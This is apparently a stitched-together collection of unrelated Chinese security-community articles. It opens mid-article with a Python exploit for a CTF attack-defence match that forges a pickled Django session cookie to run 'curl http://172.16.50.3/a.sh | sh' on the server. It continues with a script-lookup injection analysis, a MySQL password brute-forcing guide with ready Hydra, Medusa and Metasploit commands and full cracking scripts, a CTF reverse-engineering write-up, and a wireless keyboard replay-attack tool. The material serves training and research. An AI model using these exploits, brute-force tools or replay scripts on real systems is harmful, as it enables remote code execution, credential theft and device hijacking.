from django.core import signing
import pickle
def session_gen(SECRET_KEY,command = 'curl http://172.16.50.3/a.sh | sh',):
class Run(object):
def __reduce__(self):
#return (os.system,('ping test.0y0.link',))
return (os.system,(command,))
#SECRET_KEY = '1bb8)i&dl9c5=npkp248gl&aji7^x6izh3!itsmb6&yl!fak&f'
SECRET_KEY = SECRET_KEY
sess = signing.dumps(Run(), key = SECRET_KEY,serializer=PickleSerializer,salt='django.contrib.sessions.backends.signed_cookies')
#生成的恶意session
print sess
'''
salt='django.contrib.sessions.backends.signed_cookies'
sess = pickle.dumps(Run())
sess = signing.b64_encode(sess)#通过跟踪signing.dumps函数可以知道pickle.dumps后的数据还经过了如下处理。
sess = signing.TimestampSigner(key=SECRET_KEY, salt=salt).sign(sess)
print sess
#这里生成的session也是可以成功利用的，这样写只是为了理解signing.dumps。
'''
session = 'sessionid={0}'.format(sess)
return session
def exp(url,SECRET_KEY,command):
headers = {'Cookie':session_gen(SECRET_KEY,command)}
#proxy = {"http":"http://172.16.50.3:8080"}#设置为burp的代理方便观察请求包
response = requests.get(url,headers= headers)
#print response.content
if __name__ == '__main__':
url = 'http://192.200.0.146:8000/'
SECRET_KEY = '85bus3!*+_3t1ks)&&o(u-liuhucshja!-44a1squ93=#+v+4r'
command = 'curl http://172.16.50.3/a.sh | sh'
exp(url,SECRET_KEY,command)
因为执行的shell回显在服务器上，在服务器上可以看到
但是作为攻击者不能直接看到，我在自己电脑上做了个脚本放上去 <http://172.16.50.3/a.sh>
[在我电脑上，写得太烂就不放出来了]，于是利用脚本获取flag并发送到我电脑上，但是linux学的差，写出来有问题，一直失败，所以这一轮没有拿到一个flag
**命运多舛**
1. 第三轮有人疯狂地dos式扫描攻击我们的服务器，导致我们的ssh链接基本上无法操作，于是查看日志和网络连接，找到了对方的ip，我们给承办方反应，结果发现是我们学校的其他队做的事[事后问他们，结果给我说反正他们都倒数了，就当一个搅屎棍(他们自己取的称呼)，于是就随便拿了一个ip开干，正好是攻击到我们，截至发稿前，对方已经把我删除好友]
2. 有人利用漏洞把半数队伍服务器上的代码删除了，我们也不例外被删除，但是我们的ssh基本上卡死了，操作不了，于是只有接受命运的审判
3. 我们太菜了，眼睁睁地看着我们从第一掉到第四
**0x04 总结**
本来第一天晚上把各种环境都准备好了，结果因为开了windows
sandbox，第二天早上打开vmware就冲突了，时间紧迫又不敢乱操作，所以上午的时候kali都没用上，只有中午的时候关了sanbox重启电脑解决了。
一定要提前写好批量拿flag的脚本，把大致的框架写起，就不用每次都去敲for循环等等，awd的每10分钟都是宝贵的
这时我第一次写这类的文章，所以如果有表述不清的地方还请见谅，有问题可以下方留言，在能力范围内会尽可能回复
**异想天开**
现在再回顾以下比赛，其实可以写一个持久性收割flag的shell，每十分钟自动传flag到自己电脑，这东西运行后就在进程里，一般来说没人会去看这个 | 社区文章 |
`漏洞影响：<=1.9.x`
起因：看到战队转发了一条`Y4tacker`师傅的星球文章。
简单跟了一下发现挺简单的一条利用链。
## 利用链
StringSubstitutor#replace
StringSubstitutor#substitute
StringSubstitutor#resolveVariable
ScriptStringLookup#lookup
## 前置知识
**根据名称得到脚本引擎**
ScriptEngine engine = new ScriptEngineManager().getEngineByName("JavaScript");
engine.eval("java.lang.Runtime.getRuntime().exec(\"calc\")");
此方法能弹出计算器。（emmm没去细了解。）
## 漏洞分析
StringSubstitutor#replace
StringSubstitutor#substitute
StringSubstitutor#resolveVariable
这三段其实跟`Log4j`是差不多的。目的：为了将`${}`中间的内容提取出来。
往下走会来到：
跟进
匹配第一个`：`前面的字符串然后将余下的字符串另外存入`name`字符串中，并且会从`stringLookupMap`中获取对应的lookup，这里即为`ScriptStringLookup`。
进入`ScriptStringLookup#lookup`,会根据`:`分割字符串。最终导致该漏洞触发。
## 漏洞修复
在InterpolatorStringLookup#lookup中`stringLookupMap`被缩短了，没有了`key=script`
删除了`dns`、`url`、`script`。
可以分别来看看。
## URL
看了代码让我想到了`URLClassLoader异常回显`(可惜没有实例化)
## DNS
主要用于探测吧。
inetAddress.getHostAddress() 获取IP地址
inetAddress.getHostName() 获取主机名
inetAddress.getCanonicalHostName()
getCanonicalHostName方法和getHostName方法一样，也是得到远程主机的域名。但它们有一个区别。getCanonicalHostName得到的是主机名，而getHostName得到的主机别名 | 社区文章 |
对于MySQL数据库渗透来说，获取其口令至关重要，一般来讲数据库不会提供对外连接，安全严格的将会限制固有IP和本机登录数据库，但渗透就是发现各种例外！抱着研究的目地，将目前市面上主流的7款MySQL口令扫描工具进行实际测试，并给出了实际利用场景的具体命令，在进行渗透测试时，具有较高的参考价值。
1.测试环境：Windows 2003 Server +PHP+MySQL5.0.90-community-nt
2.账号设置：允许远程访问也即设置host为%，同时密码设置为11111111。
3.测试机：kali linux2017和windows 2003
## 1.1 Metasploit扫描MySQL口令
有关利用Metasploit扫描详细利用可以参考本人网上发布的《利用Msf辅助模块检测和渗透Mysql》，这里主要是介绍如何扫描MySQL口令。
### 1.启动Metasploit命令
在kali终端下输入：msfconsole
### 2\. 密码扫描auxiliary/scanner/mysql/mysql_login模块
(1)单一模式扫描登录验证
use auxiliary/scanner/mysql/mysql_login
set rhosts 192.168.157.130
set username root
set password 11111111
run
（2）使用字典对某个IP地址进行暴力破解
use auxiliary/scanner/mysql/mysql_login
set RHOSTS 192.168.157.130
set pass_file “/root/top10000pwd.txt”
set username root
run
测试效果如图1所示，注意如果字典过长，其扫描时间也会相应较长，也即等待时间会较长，在扫描结果汇总可以看到-+符号，-表示未成功，绿色的+表示口令破解成功，并显示用户名和密码。如果是对某个IP地址段，则设置set
RHOSTS 192.168.157.1-254即可。
图1使用字典扫描
### 3.密码验证
use auxiliary/admin/mysql/mysql_sql
set RHOSTS 192.168.157.130
set password 11111111
set username root
run
该模块主要使用设置的用户名和密码对主机进行登录验证，查询版本信息，如图2所示。
图2登录验证
在msf下面有关更多的mysql使用，可以使用search
mysql命令，然后选择对应的模块，通过info模块查看，通过set进行参数设置，通过run进行测试。
## 1.2NMAP扫描MySQL口令
### 1.查看Nmap下有关mysql利用脚本
ls -al /usr/share/nmap/scripts/mysql*
/usr/share/nmap/scripts/mysql-audit.nse
/usr/share/nmap/scripts/mysql-brute.nse
/usr/share/nmap/scripts/mysql-databases.nse
/usr/share/nmap/scripts/mysql-dump-hashes.nse
/usr/share/nmap/scripts/mysql-empty-password.nse
/usr/share/nmap/scripts/mysql-enum.nse
/usr/share/nmap/scripts/mysql-info.nse
/usr/share/nmap/scripts/mysql-query.nse
/usr/share/nmap/scripts/mysql-users.nse
/usr/share/nmap/scripts/mysql-variables.nse
/usr/share/nmap/scripts/mysql-vuln-cve2012-2122.nse
可以看到有多个mysql相关脚本，有审计，暴力破解，hash、空密码扫描、枚举、基本信息、查询、变量等。其中/usr/share/nmap/scripts/mysql-brute.nse和/usr/share/nmap/scripts/mysql-empty-password.nse用于密码扫描。
1.使用nmap扫描确认端口信息
使用命令nmap -p 3306 192.168.157.130进行扫描，如图3所示，可以看到192.168.157.130计算机端口开放3306。
图3扫描端口
2.对开放3306端口的数据库进行扫描破解
（1）扫描空口令
nmap -p3306 --script=mysql-empty-password.nse 192.168.137.130
（2）扫描已知口令
nmap -sV --script=mysql-databases --script-args dbuser=root,dbpass=11111111
192.168.195.130
nmap扫描端口和banner标识效果比较好，对空口令的支持效果也可以，暴力破解比较坑。更多nmap扫描脚本参数详细情况，请参考：
<https://nmap.org/nsedoc/lib/brute.html#script-args>
## 1.3使用xHydra和Hydra破解MySQL口令
Hydra是linux下面一款非常厉害的密码暴力破解工具，支持多种协议破解，一般是在命令行下进行破解，在kali2017版本中已经有图形界面版xHydra。下载地址：<https://github.com/maaaaz/thc-hydra-windows>
### 1.使用xHydra暴力破解MySQL密码
（1）设置目标地址和需要破解的协议
在kali中单击“Application”-“05-Password Attacks”-“Online Attacks”-“hydra-gtk”打开Hydra图形界面版，如图4所示，在Target中设置单一目标（Single
Target）:192.168.157.130，如果是多个目标，这可以保存在文本文件中，通过Target
List进行设置。在其Protocol中选择Mysql协议。
图4设置目标地址
（2）设置密码或者密码文件
单击“Password”标签，在username中输入root或者其它账号名称，或者选择用户名称列表（Username
List），如图5所示。跟username设置一样，设置用户密码，还可以设置以用户名为密码进行登录，以空密码进行登录，以密码反转进行登录等。
图5设置用户名及密码
（3）开始暴力破解
在开始暴力破解前，还可以设置线程数，在“Tuning”中设置，如果采用默认，则单击“start”标签，如图6所示，单击start按钮，开始进行暴力破解，如果暴力破解成功，则会在其下方以粗体字显示信息。
图6破解成功
### 2.使用hydra进行暴力破解
（1）单一用户名和密码进行验证破解
已知目标root账号，密码11111111，主机地址192.168.157.130，则使用如下命令即可：
hydra -l root -p11111111 -t 16 192.168.157.130 mysql
如图7所示，破解成功后，会以绿色字体显示破解结果。
图7使用hydra破解mysql密码
（2）使用字典破解单一用户
hydra -l root -P /root/Desktop/top10000pwd.txt -t 16 192.168.157.130 mysql
跟上面类似，使用字典则使用大写的P，使用密码则是小写p后更密码值。如果是多个用户列表，则是使用L filename，例如L
/root/user.txt，“-t”表示线程数。
（3）对多个IP地址进行root账号密码破解
密码文件为/root/newpass.txt，目标文件/root/ip.txt，登录账号为root，则命令为：
hydra -l root -P /root/newpass.txt -t 16 -M /root/ip.txt mysql
如图8所示，在本例中对192.168.157.130、192.168.157.131、192.168.157.132进行暴力破解，由于192.168.157.131和192.168.157.132未提供3306服务，所以显示无法连接，最终破解了一个密码。
图8破解多个目标MySQL密码
## 1.4使用hscan扫描MySQL口令
Hscan是一款老牌的黑客攻击，其使用很简单，需要通过menu去设置扫描参数（parameter）startip：192.168.157.1，endip：192.168.157.254，然后选择模块（Modules）进行配置，选择MySQL弱口令检查即可，如图9所示，设置好后，单击start即可开始扫描。在软件左边会显示扫描信息，扫描完成后会在程序目录下的report生成网页的报告文件，如果有结果也会在log文件夹下生成扫描日志文件。该软件对root空口令扫描效果较好，对实际密码扫描效果一般。
图9使用hscan扫描MySQL弱口令
## 1.5使用xsqlscanner扫描MySQL口令
软件需要.net framework
4.0支持，xsqlscanner是国外开发的一款软件，如图10所示，需要设置IP地址和SQL审计方法、服务器类型和文件选项，经过实际测试，效果并不理想，扫描过程出现程序无法响应，扫描速度偏慢，通过其使用帮助来看该软件应该对MSSQL扫描效果比较好。
图10使用xsqlscanner扫描MySQL口令
## 1.6使用Bruter扫描MySQL口令
Bruter是一款支持MySQL、MySQL、SSH等协议的暴力破解工具，其设置非常简单，需要设置目标，协议，端口，用户，字典，如图11所示，进行设置，然后单击开始即可进行暴力破解，破解成功后会在结果中显示，适合单个主机快速验证，比较直观。
图11Bruter暴力破解MySQL密码
## 1.7使用Medusa(美杜莎)MySQL口令
### 1\. Medusa简介
Medusa(美杜莎)是一个速度快，支持大规模并行，模块化，爆破登录。可以同时对多个主机，用户或密码执行强力测试。Medusa和hydra一样，同样属于在线密码破解工具。不同的是，medusa 的稳定性相较于hydra 要好很多，但其支持模块要比 hydra 少一些。 Medusa是支持AFP, CVS, FTP, HTTP, IMAP, MS-SQL, MySQL, NCP (NetWare),
NNTP, PcAnywhere, POP3, PostgreSQL, rexec, RDP、rlogin, rsh, SMBNT, SMTP
(AUTH/VRFY), SNMP, SSHv2, SVN, Telnet, VmAuthd, VNC、Generic
Wrapper以及Web表单的密码爆破工具，官方网站：<http://foofus.net/goons/jmk/medusa/medusa.html。目前最新版本2.2，美中不足的是软件从2015年后未进行更新，kali默认自带该软件，软件下载地址：>
<https://github.com/jmk-foofus/medusa>
<https://github.com/jmk-foofus/medusa/archive/2.2.tar.gz>
### 2.用法
Medusa [-h host|-H file] [-u username|-U file] [-p password|-P file] [-C file]
-M module [OPT]
-h [TEXT] 目标主机名称或者IP地址
-H [FILE] 包含目标主机名称或者IP地址文件
-u [TEXT] 测试的用户名
-U [FILE] 包含测试的用户名文件
-p [TEXT] 测试的密码
-P [FILE] 包含测试的密码文件
-C [FILE] 组合条目文件
-O [FILE] 日志信息文件
-e [n/s/ns] n代表空密码，s代表为密码与用户名相同
-M [TEXT] 模块执行名称
-m [TEXT] 传递参数到模块
-d 显示所有的模块名称
-n [NUM] 使用非默认Tcp端口
-s 启用SSL
-r [NUM] 重试间隔时间，默认为3秒
-t [NUM] 设定线程数量
-T 同时测试的主机总数
-L 并行化，每个用户使用一个线程
-f 在任何主机上找到第一个账号/密码后，停止破解
-F 在任何主机上找到第一个有效的用户名/密码后停止审计。
-q 显示模块的使用信息
-v [NUM] 详细级别（0-6）
-w [NUM] 错误调试级别（0-10）
-V 显示版本
-Z [TEXT] 继续扫描上一次
### 3.破解MySQL密码
（1）使用字典文件破解192.168.17.129主机root账号密码
medusa -M mysql -h192.168.17.129 -e ns -F -u root -P /root/mypass.txt
参数-M表示MySQL数据库密码破解，-h指定主机IP地址或者名称，-e
ns破解空口令和主机名称相同的用户密码，-F破解成功后立刻停止，-u指定root账号，-P指定密码文件为/root/mypass.txt，破解效果如图12所示。
图12 medusa破解单一MySQL服务器密码
（2）破解IP地址段MySQL密码
medusa -M mysql -H host.txt -e ns -F -u root -P /root/mypass.txt
在前面的基础上，更改前面的密码为12345678：
GRANT USAGE,SELECT, INSERT, UPDATE, DELETE, SHOW VIEW ,CREATE TEMPORARY
TABLES,EXECUTE ON _._ TO root@'192.168.17.144' IDENTIFIED BY '12345678';
FLUSH PRIVILEGES;
再次进行测试，效果如图13所示。
图13破解多个主机的Mysql密码
4.破解其它密码
（1）破解smbnt
medusa -M smbnt -h 192.168.17.129 -u administrator -P /root/mypass.txt -e ns
-F
（2）破解ssh密码
medusa -M ssh -h 192.168.17.129 -u root -P /root/mypass.txt -e ns -F
## 1.8python脚本暴力破解MySQL口令
1.Python版本Mysql爆破简单密码小脚本
需要安装Python插件MySQL-python，插件下载地址：
<https://pypi.python.org/packages/a5/e9/51b544da85a36a68debe7a7091f068d802fc515a3a202652828c73453cad/MySQL-python-1.2.5.zip>
将以下代码保存为：MysqlDatabaseBlasting.py，cmd切换到 MysqlDatabaseBlasting.py路径下，并
执行MysqlDatabaseBlasting.py即可开始破解。
import MySQLdb
#coding=gbk
#目标IP mysql数据库必须开启3360远程登陆端口
mysql_username = ('root','test', 'admin', 'user')#账号字典
common_weak_password = ('','123456','test','root','admin','user')#密码字典
success = False
host = "127.0.0.1"#数据库IP地址
port = 3306
for username in mysql_username:
for password in common_weak_password:
try:
db = MySQLdb.connect(host, username, password)
success = True
if success:
print username, password
except Exception, e:
pass
2.“独自等待”写的MySQL暴力破解工具单线程版
使用本工具前，请确保脚本同目录下存在user.txt,pass.txt两个文件，用法:
mysqlbrute.py 待破解的ip/domain 端口 数据库 用户名列表 密码列表
实例: mysqlbrute.py www.waitalone.cn 3306 test user.txt pass.txt
程序需要MySQLdb支持，下载地址<http://www.codegood.com/download/11/>
mysqlbrute.py文件代码：
#!/usr/bin/env python
# -*- coding: gbk -*- # -*- coding: utf-8 -*- # Date: 2014/11/10
# Created by 独自等待
# 博客 http://www.waitalone.cn/
import os, sys, re, socket, time
try:
import MySQLdb
except ImportError:
print '\n[!] MySQLdb模块导入错误,请到下面网址下载：'
print '[!] http://www.codegood.com/archives/129'
exit()
def usage():
print '+' + '-' * 50 + '+'
print '\t Python MySQL暴力破解工具单线程版'
print '\t Blog：http://www.waitalone.cn/'
print '\t\t Code BY： 独自等待'
print '\t\t Time：2014-11-10'
print '+' + '-' * 50 + '+'
if len(sys.argv) != 6:
print "用法: " + os.path.basename(sys.argv[0]) + " 待破解的ip/domain 端口 数据库 用户名列表 密码列表"
print "实例: " + os.path.basename(sys.argv[0]) + " www.waitalone.cn 3306 test user.txt pass.txt"
sys.exit()
def mysql_brute(user, password):
"mysql数据库破解函数"
db = None
try:
# print "user:", user, "password:", password
db = MySQLdb.connect(host=host, user=user, passwd=password, db=sys.argv[3], port=int(sys.argv[2]))
# print '[+] 破解成功：', user, password
result.append('用户名：' + user + "\t密码：" + password)
except KeyboardInterrupt:
print '大爷,按您的吩咐,已成功退出程序!'
exit()
except MySQLdb.Error, msg:
# print '未知错误大爷:', msg
pass
finally:
if db:
db.close()
if __name__ == '__main__':
usage()
start_time = time.time()
if re.match(r'\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}', sys.argv[1]):
host = sys.argv[1]
else:
host = socket.gethostbyname(sys.argv[1])
userlist = [i.rstrip() for i in open(sys.argv[4])]
passlist = [j.rstrip() for j in open(sys.argv[5])]
print '\n[+] 目 标：%s \n' % sys.argv[1]
print '[+] 用户名：%d 条\n' % len(userlist)
print '[+] 密 码：%d 条\n' % len(passlist)
print '[!] 密码破解中,请稍候……\n'
result = []
for x in userlist:
for j in passlist:
mysql_brute(x, j)
if len(result) != 0:
print '[+] 恭喜大爷,MySQL密码破解成功!\n'
for x in {}.fromkeys(result).keys():
print x + '\n'
else:
print '[-] 杯具了大爷,MySQL密码破解失败!\n'
print '[+] 破解完成，用时： %d 秒' % (time.time() - start_time)
## 1.9扫描总结
1.好用的工具
通过实际测试MSF、xHydra、Hydra、Bruter、Medusa都能很好的对MySQL口令进行暴力破解，其中Msf平台具有综合功能，在暴力破解成功后可以继续进行渗透。xHydra、Hydra和Medusa支持多地址破解，Bruter对单一密码漏洞验证效果比较快。
2.工具命令总结
(1)Msf单一模式扫描登录验证
use auxiliary/scanner/mysql/mysql_login
set rhosts 192.168.157.130
set username root
set password 11111111
run
（2）Msf使用字典对某个IP地址进行暴力破解
use auxiliary/scanner/mysql/mysql_login
set RHOSTS 192.168.157.130
set pass_file “/root/top10000pwd.txt”
set username root
run
（3）msf密码验证
use auxiliary/admin/mysql/mysql_sql
set RHOSTS 192.168.157.130
set password 11111111
set username root
run
（4）hydra单一用户名和密码进行验证破解
hydra -l root -p11111111 -t 16 192.168.157.130 mysql
（5）hydra使用字典破解单一用户
hydra -l root -P /root/Desktop/top10000pwd.txt -t 16 192.168.157.130 mysql
（6）hydra对多个IP地址进行root账号密码破解
hydra -l root -P /root/newpass.txt -t 16 -M /root/ip.txt mysql
（7）medusa使用字典文件破解192.168.17.129主机root账号密码
medusa -M mysql -h192.168.17.129 -e ns -F -u root -P /root/mypass.txt
（8）medusa破解IP地址段MySQL密码
medusa -M mysql -H host.txt -e ns -F -u root -P /root/mypass.txt | 社区文章 |
# 【WriteUp】labyrenth CTF windows track挑战（下）
|
##### 译文声明
本文是翻译文章，文章来源：jmprsp
原文地址：<https://jmprsp.wordpress.com/2016/09/04/labyrenth-ctf-windows-track-challenge-5/>
译文仅供参考，具体内容表达以及含义原文为准。
**文件: RGB.exe**
**SHA256** :F52983C900851B605A236D62C38BC2BC6232CA1220A23E447901D029D5357F88
**加壳：** 无
**体系结构:** 32Bit
**使用工具:** exeinfo,Reflector
**代码 &二进制文件：**https://github.com/jmprsp/labyrenth/tree/master/Window-Challenge-5
**说明：** 这种挑战是以 C# 语言编写的。只有找出正确的RGB 值才能获得标记，只有对代码进行反编译和分析才能得到RGB 值。
如图所示，我们知道这是一个 C# 程序。
使用像是反射器这样的反编译工具，我们可以很容易得到反编译的源代码。我在github中放置了源代码。
对源代码进行分析的时候我们会在 frmMain.cs 中遇到上图所示的函数。看起来我们需要一些暴力破解来获取正确的 RGB 密钥。
运行上面的脚本，我们能够得到正确的 RGB 来解决所面临的挑战。
标记: PAN{l4byr1n7h_s4yz_x0r1s_4m4z1ng}
**文件: Ambrosius.exe**
**SHA256:** 54CB91340DBC073FB303A7D920E26AA1D64F9EE883D6AAE55961A76D5AFF91F4
**加壳：** 无
**体系结构:** 32Bit
**使用工具:** exeinfo, IDA Pro
**代码 &二进制文件:** <https://github.com/jmprsp/labyrenth/tree/master/Window-Challenge-6>
**说明：** 这种挑战是用 C语言编写的，目标是要找到正确的密码，这样解密的字符串将以"PAN{?????"开头。
IDA Pro 的字符串列表和导入列表中没有显示任何调查结果。
滚动浏览代码，第一眼看到的就是对于PAN{的检查，也许我们能从这里下手。
向上追踪，我们可以假设传入解密函数 (0x401425)的是长度为11位的密码。向上进一步分析，我们可以看到密码是怎样形成的。
以下是建立密码字符串的说明。
注︰ 挑战使用外壳代码的方法是从系统中获取数值或是调用函数。
从上图中，我们知道密码有 4个 固定的 11 个字符值，其余 7 个字符可以是随意的。
我应对这一挑战最懒的办法是使用 python 调试脚本，打破 @ 0x00401425 。一旦程序破损，python 脚本应使用我们生成的密码覆盖原始密码。
要检查是否我们有了正确的密码，放置另一个断点 @0x0040143B （请参阅图 2）。如果我们点击此断点，那就意味着我们已经找到了正确的密码。
我用 php 来生成可能的密码列表，并将其放置到 python 脚本 （请参阅 GrayHat Python）
测试可执行文件的密码。这种方法绝对不是解决所面临挑战最快的方式，但这是最懒的方法。
对于 python 调试脚本，我用的是"Grayhat Python"给予的样本。如果它已经找到了正确的密码，我只要使用注入的脚本来生成密码和检测就可以了。
可能这不是解决挑战最简洁的办法，但是的确是有用的！
标记: PAN{th0se_puPP3ts_creeped_m3_out_and_I_h4d_NIGHTMARES} | 社区文章 |
## 前言
无线键鼠通常使用在2.4GHz ISM频段中运行的专有协议进行通信。当键鼠产生按键或移动时就会把相应的射频数据包发送到无线接收器中，从而和pc通信。
本文使用[mousejack](https://www.bastille.net/research/vulnerabilities/mousejack)项目和crazyradio
pa无线收发器来分析无线键鼠间的通信，并实现重放攻击。
下面三个测试设备都是使用的2.4GHz nRF24收发器：
1. 罗技k220无线键鼠
2. 罗技k400r无线触控键盘
3. Dell KM714
## crazyradio pa
crazyradio pa相当于放大版的usb适配器，通过修改其固件，可以使其包含对伪混杂模式的支持，从而简化嗅探包和注入功能的代码。
#### 烧录固件
接入crazyradio，lsusb可以看到设备id为1915:7777
安装依赖：
sudo apt install sdcc binutils python python-pip
pip install pyusb
pip install platformio
烧录：
git clone https://github.com/bitcraze/crazyradio-firmware
cd crazyradio-firmware
python usbtools/launchBootloader.py
显示timeout，原因应该是原来的脚本设置的timeout时间太短，改一下就好：
显示Bootloader started启动成功。
从[这里](https://github.com/bitcraze/crazyradio-firmware/releases)下载对应的固件版本，烧录固件：
python usbtools/nrfbootload.py flash cradio-0.53.bin
烧录成功后重新插拔设备。设备id为1915:0101
## mousejack
MouseJack是一组影响非蓝牙无线鼠标和键盘的安全漏洞项目。这些漏洞跨越7家供应商，使攻击者能够在100米之外受害者的电脑上输入任意命令。
编译项目：
git clone --recursive https://github.com/RFStorm/mousejack.git
cd mousejack
make
make install
成功后重新插拔设备，id为1915:0102
mousejack扩展工具：<https://github.com/iamckn/mousejack_transmit>
## 键鼠重放攻击
**每次执行完脚本后都需要重新插拔crazyradio pa设备**
扫描无线设备：
cd nrf-research-firmware/tools
sudo python nrf24-scanner.py
可以确定到无线鼠标的mac地址为B0:58:31:49:A4
之后可以针对性地嗅探鼠标：
sudo python nrf24-sniffer.py -a B0:58:31:49:A4
嗅探到了左右键点击时的数据：
右键点击
[2019-04-14 19:31:32.972] 32 10 B0:58:31:49:A4 00:C2:02:00:00:00:00:00:00:3C
[2019-04-14 19:31:32.980] 32 10 B0:58:31:49:A4 00:4F:00:00:55:00:00:00:00:5C
右键松开
[2019-04-14 19:31:34.479] 32 10 B0:58:31:49:A4 00:C2:00:00:00:00:00:00:00:3E
[2019-04-14 19:31:34.484] 32 10 B0:58:31:49:A4 00:4F:00:00:55:00:00:00:00:5C
左键点击
[2019-04-14 19:32:35.658] 32 10 B0:58:31:49:A4 00:C2:01:00:00:00:00:00:00:3D
[2019-04-14 19:32:35.666] 32 10 B0:58:31:49:A4 00:4F:00:00:55:00:00:00:00:5C
左键松开
[2019-04-14 19:32:36.699] 32 10 B0:58:31:49:A4 00:C2:00:00:00:00:00:00:00:3E
[2019-04-14 19:32:36.708] 32 10 B0:58:31:49:A4 00:4F:00:00:55:00:00:00:00:5C
### 重放右键点击
在tools目录下新建pack.log文件，写入右键点击的数据：
00:C2:02:00:00:00:00:00:00:3C
00:4F:00:00:55:00:00:00:00:5C
00:C2:00:00:00:00:00:00:00:3E
00:4F:00:00:55:00:00:00:00:5C
官方给的脚本运行失败了，没法把数据包发到对应的channel里。
用vscode开始自己调试找bug：
在tools/lib/common.py文件中修改logging level，让它能输出debug信息（或者直接加参数-v输出详细信息）：
在launch.json中加上命令行参数：
在不加-c参数的情况下它会把channel从2到83都扫一遍，但仍然ping不成功channel,无法发送payload。
而在nrf24-sniffer.py中同理却能成功ping到channel:
最后发现是replay.py的address的问题，官方写的是try_address = chr(b) + address[1:]
导致address为B0:58:31:49:00。。。改成try_address = address[0:]就Ok了。
在发送payload前加入while true无限循环达成重放干扰攻击效果。
最终replay.py脚本:
#!/usr/bin/env python
'''
This program is changed by nrf24-network-mapper, you can
use this script to replay packets.
'''
import binascii, time
from lib import common
# Parse command line arguments and initialize the radio
common.init_args('./nrf24-network-mapper.py')
common.parser.add_argument('-a', '--address', type=str, help='Known address', required=True)
common.parser.add_argument('-p', '--passes', type=str, help='Number of passes (default 2)', default=2)
common.parser.add_argument('-k', '--ack_timeout', type=int, help='ACK timeout in microseconds, accepts [250,4000], step 250', default=500)
common.parser.add_argument('-r', '--retries', type=int, help='Auto retry limit, accepts [0,15]', default='5', choices=xrange(0, 16), metavar='RETRIES')
common.parse_and_init()
# Parse the address
address = common.args.address.replace(':', '').decode('hex')[::-1][:5]
address_string = ':'.join('{:02X}'.format(ord(b)) for b in address[::-1])
if len(address) < 2:
raise Exception('Invalid address: {0}'.format(common.args.address))
# Put the radio in sniffer mode (ESB w/o auto ACKs)
common.radio.enter_sniffer_mode(address)
# Payload used for pinging the target device
# (some nRF24 based devices don't play well with shorter payloads)
# Format the ACK timeout and auto retry values
ack_timeout = int(common.args.ack_timeout / 250) - 1
ack_timeout = max(0, min(ack_timeout, 15))
retries = max(0, min(common.args.retries, 15))
ping_payload = '\x0F\x0F\x0F\x0F'
#click_payload ='\x01\x02\x00\x00\x03\x38'
#Ping each address on each channel args.passes number of times
#Read pack
def ReadPack():
payload = []
for line in open('pack.log'):
payload.append(line)
return payload
def Ping():
channels_t = []
valid_addresses = []
for p in range(common.args.passes):
for b in range(4):
try_address = address[0:]
common.radio.enter_sniffer_mode(try_address)
for c in range(len(common.args.channels)):
common.radio.set_channel(common.args.channels[c])
if common.radio.transmit_payload(ping_payload, ack_timeout, retries):
channels_t.append(common.channels[c])
return channels_t
def airplay(sendpayload,get_channels,data):
valid_addresses = []
for p in range(common.args.passes):
# Step through each potential address
for b in range(4):
try_address = address[0:]
common.radio.enter_sniffer_mode(try_address)
# Step through each channel
for c in range(len(get_channels)):
common.radio.set_channel(get_channels[c])
# Attempt to ping the address
while True:
if common.radio.transmit_payload(sendpayload, ack_timeout, retries):
valid_addresses.append(try_address)
print ('Sending Payload:'+' '+data)
#run
def run():
get_channels=list(set(Ping()))
payloads = ReadPack()
print (payloads)
for payload in payloads:
data = payload.strip('\n')
payload = binascii.a2b_hex(data.replace(':',''))
airplay(payload,get_channels,data)
def main():
run()
if __name__ == '__main__':
main()
重放攻击：
sudo python replay.py -a B0:58:31:49:A4
## 攻击测试
经过测试罗技k220的键盘和k400r的无线触控键盘都能实现重放攻击。
下面是嗅探到的数据包：
k220
右键点击
[2019-04-14 19:31:32.972] 32 10 B0:58:31:49:A4 00:C2:02:00:00:00:00:00:00:3C
[2019-04-14 19:31:32.980] 32 10 B0:58:31:49:A4 00:4F:00:00:55:00:00:00:00:5C
右键松开
[2019-04-14 19:31:34.479] 32 10 B0:58:31:49:A4 00:C2:00:00:00:00:00:00:00:3E
[2019-04-14 19:31:34.484] 32 10 B0:58:31:49:A4 00:4F:00:00:55:00:00:00:00:5C
左键点击
[2019-04-14 19:32:35.658] 32 10 B0:58:31:49:A4 00:C2:01:00:00:00:00:00:00:3D
[2019-04-14 19:32:35.666] 32 10 B0:58:31:49:A4 00:4F:00:00:55:00:00:00:00:5C
左键松开
[2019-04-14 19:32:36.699] 32 10 B0:58:31:49:A4 00:C2:00:00:00:00:00:00:00:3E
[2019-04-14 19:32:36.708] 32 10 B0:58:31:49:A4 00:4F:00:00:55:00:00:00:00:5C
空格按下
[2019-04-22 17:39:42.260] 65 22 55:11:BE:0B:B4 00:D3:1A:EB:F6:4C:3A:4C:77:C7:28:4F:CB:18:00:00:00:00:00:00:00:C8
[2019-04-22 17:39:42.281] 65 10 55:11:BE:0B:B4 00:4F:00:00:55:00:00:00:00:5C
空格松开
[2019-04-22 17:39:43.696] 65 22 55:11:BE:0B:B4 00:D3:B7:BD:CB:63:DB:7B:45:17:28:4F:CB:19:00:00:00:00:00:00:00:7E
[2019-04-22 17:39:43.718] 65 10 55:11:BE:0B:B4 00:4F:00:00:55:00:00:00:00:5C
[2019-04-22 17:39:43.796] 65 10 55:11:BE:0B:B4 00:4F:00:03:70:00:00:00:00:3E
k400r
右键
[2019-04-22 18:07:54.975] 71 10 D5:97:92:C1:07 00:C2:02:00:00:00:00:00:00:3C
[2019-04-22 18:07:55.442] 71 10 D5:97:92:C1:07 00:C2:00:00:00:00:00:00:00:3E
空格
[2019-04-22 18:08:43.194] 71 22 D5:97:92:C1:07 00:D3:86:00:51:75:58:39:C7:00:40:FD:10:72:00:00:00:00:00:00:00:CA
[2019-04-22 18:08:43.671] 71 22 D5:97:92:C1:07 00:D3:9C:F5:7B:D6:B1:5F:FC:08:40:FD:10:73:00:00:00:00:00:00:00:77
[2019-04-22 18:08:43.679] 71 10 D5:97:92:C1:07 00:4F:00:01:18:00:00:00:00:98
更改一下pack.log发送数据包的内容就可以用replay.py实现重放攻击了。
另外在测试dell km714无线键鼠时有个很奇怪的现象，用nrf24-network-mapper.py来跑星形网络的时候，键鼠会失效，但重新拔插接收器就能继续正常使用。而另外两个测试的键鼠就没有这种现象。
